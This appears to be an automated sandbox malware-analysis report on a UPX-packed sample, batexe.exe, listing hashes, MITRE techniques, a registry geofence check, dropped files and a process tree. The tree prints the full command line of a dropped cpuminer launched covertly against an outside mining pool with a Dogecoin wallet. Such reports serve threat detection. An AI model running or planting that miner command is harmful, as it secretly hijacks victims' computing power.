73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 04:26

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
264	b2e.exe
2204	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2204	cpuminer-sse2.exe
2204	cpuminer-sse2.exe
2204	cpuminer-sse2.exe
2204	cpuminer-sse2.exe
2204	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2136-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 264	2136	batexe.exe	85
PID 2136 wrote to memory of 264	2136	batexe.exe	85
PID 2136 wrote to memory of 264	2136	batexe.exe	85
PID 264 wrote to memory of 1556	264	b2e.exe	86
PID 264 wrote to memory of 1556	264	b2e.exe	86
PID 264 wrote to memory of 1556	264	b2e.exe	86
PID 1556 wrote to memory of 2204	1556	cmd.exe	89
PID 1556 wrote to memory of 2204	1556	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Users\Admin\AppData\Local\Temp\B7E6.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B7E6.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B7E6.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BB70.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2204

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B7E6.tmp\b2e.exe

Filesize
14.4MB

MD5
50e49bb127ee30565ac00367e09205da

SHA1
8c5a7bd095196fb43ab9b7ee51fb023cc8f06580

SHA256
d2f5730ef2b817605da308058da27a80aa9698afc5556352db469ab5062bd179

SHA512
63b01d41607f8335f89e0109511ee70c62064ed833b9b8fcf781b0c2962ec0324261118f8e7430fdf13d790b3b0f0f49be72053e6dbba3d9f185fc9456919b4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\B7E6.tmp\b2e.exe

Filesize
896KB

MD5
1f22d8bf5f6c3dda3e880ea1ba0417d4

SHA1
2a8dbf2319999a894714bdea650eb5be32c64c19

SHA256
afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96

SHA512
217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05

Download Submit
C:\Users\Admin\AppData\Local\Temp\B7E6.tmp\b2e.exe

Filesize
3.8MB

MD5
7a69624f7316e5fac68a079a6cf60a81

SHA1
447571efee607e9f5f76959049bd7c3ae6cf8c08

SHA256
b487f8fd1607ad1c71cd1e896f00c0b306f894bc2e0f8bff05496c9b670ed0ba

SHA512
0430154ea7c1c9d7aa479ae0bad090e15b009de546085b382b2fa6b4eb8ecc157a7405e56bffa1b860e2dccb7f11e9f7173d018e8b6483982baa3a135c741d93

Download Submit
C:\Users\Admin\AppData\Local\Temp\BB70.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.1MB

MD5
1d224a4c57a729ccdbd4f9d13656ca0b

SHA1
bb8939539de49ee41d4a11caf9ec81b9ea1cea1c

SHA256
dde910e3ba7aad77b66e776c724f11cc17956df4c1f64f901566c7a4c2a70532

SHA512
034af5693d5d4f322cd722f2ee3afc1e9036f8f6ef1339eaaf81d1f6faebcf3afbe7ef4265678c7e361772928c2d730ad4c10434a167356455b2fb4b2327f4e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
827e8d26b36b7574a2bf14459a3eda77

SHA1
4ac43a7fa826db1d6c98af0af8f628aa4b48cb62

SHA256
36ff800afe8285205fd55018ed1f0108e4bc41f2636921d7153eac4a3696a688

SHA512
28f20c8ed5260ad38a2523f03d88fc99044f6d864b30e4324d94547024aab8bd3619c68fd85e482179292bec1049bebda7816d6c6b560e828e11bd3da1d07c0a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
a072b069e40190388221ed178513cceb

SHA1
ecfacaa203f2f10f41c1de8d3e052ce5d0b9041b

SHA256
77d180adf7eeed3dafa9fa49cde25c6d611067b86e902526865f11fea06d4b78

SHA512
507aa29ddf3a140b21fcb025cc6f813c1adab07c48157e577acb349d488d2577cdb6e1b67ba249baad1d068fad770719b4daf054d2e9b06e784201ea88b95faf

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
ca6fbf36ebcd048ae689410c482ef2c0

SHA1
6d520593af6071a9df65b96809fffad6d135be83

SHA256
7f2b0b7de7d56353ec89155bc2c890cf372738e8faa515abaaf4627109afc805

SHA512
856e5c01eb326d231d959e7efb2b448c8e958af49c95b54960ad6253120f68b172d096ebdfde7f9644ccc26d9766238b210f2472659fd193b8206c86c675a263

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.8MB

MD5
195e348d7089841a76721326f9884114

SHA1
0cd5589a69c909a28ac1fdb4688dce9954373444

SHA256
a9c2340fcac2f24db9d45ac6ce392e411343066522e5f349ad28702ca8d4971f

SHA512
c404cc5db7baa2f7ed1f2cd2ac983eb35631b3621a0ab9ef994a1aa976fae780c1a7a32c562b68cb3bf5b28d388573e49302e087a5da7dd885b06ef0de1df446

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/264-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/264-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2136-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2204-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-46-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/2204-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/2204-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2204-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2204-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2204-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download